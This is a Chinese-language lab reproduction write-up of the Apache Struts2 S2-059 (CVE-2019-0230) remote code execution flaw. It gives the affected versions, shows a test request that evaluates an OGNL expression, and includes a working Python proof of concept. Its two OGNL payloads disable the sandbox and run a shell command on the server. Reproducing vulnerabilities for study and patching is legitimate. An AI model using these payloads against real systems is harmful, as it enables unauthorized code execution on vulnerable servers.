Struts2 S2-059 远程代码执行漏洞(CVE-2019-0230)

Struts2 S2-059 远程代码执行漏洞(CVE-2019-0230)

Apache Struts 框架在强制执行时对分配给某些标签属性(例如 id)的属性值执行双重评估,因此可以传入一个值,该值将在渲染标签的属性时再次评估。通过精心设计的请求,这可能会导致远程代码执行 (RCE)。

受影响的版本:Struts 2.0.0 - Struts 2.5.20

参考:

漏洞复现

环境启动后,访问http://192.168.44.132:8080/?id=1,会看到Struts2测试页面。

访问http://192.168.44.132:8080/?id=%25%7B7*7%7D,可以看到在id属性中已经返回了7*7的结果。

image-20220218110635826

OGNL Apache Struts 漏洞利用:武器化沙箱绕过 (CVE-2018-11776)提供了 Struts 2.5.16 中 OGNL 沙箱绕过的详细信息。

用于验证漏洞的简单 Python POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests

url = "http://127.0.0.1:8080"
data1 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))}"
}
data2 = {
"id": "%{(#context=#attr['struts.valueStack'].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec('touch /tmp/success'))}"
}
res1 = requests.post(url, data=data1)
# print(res1.text)
res2 = requests.post(url, data=data2)
# print(res2.text)

执行poc,touch /tmp/success命令已执行:

image-20220218112227601

0%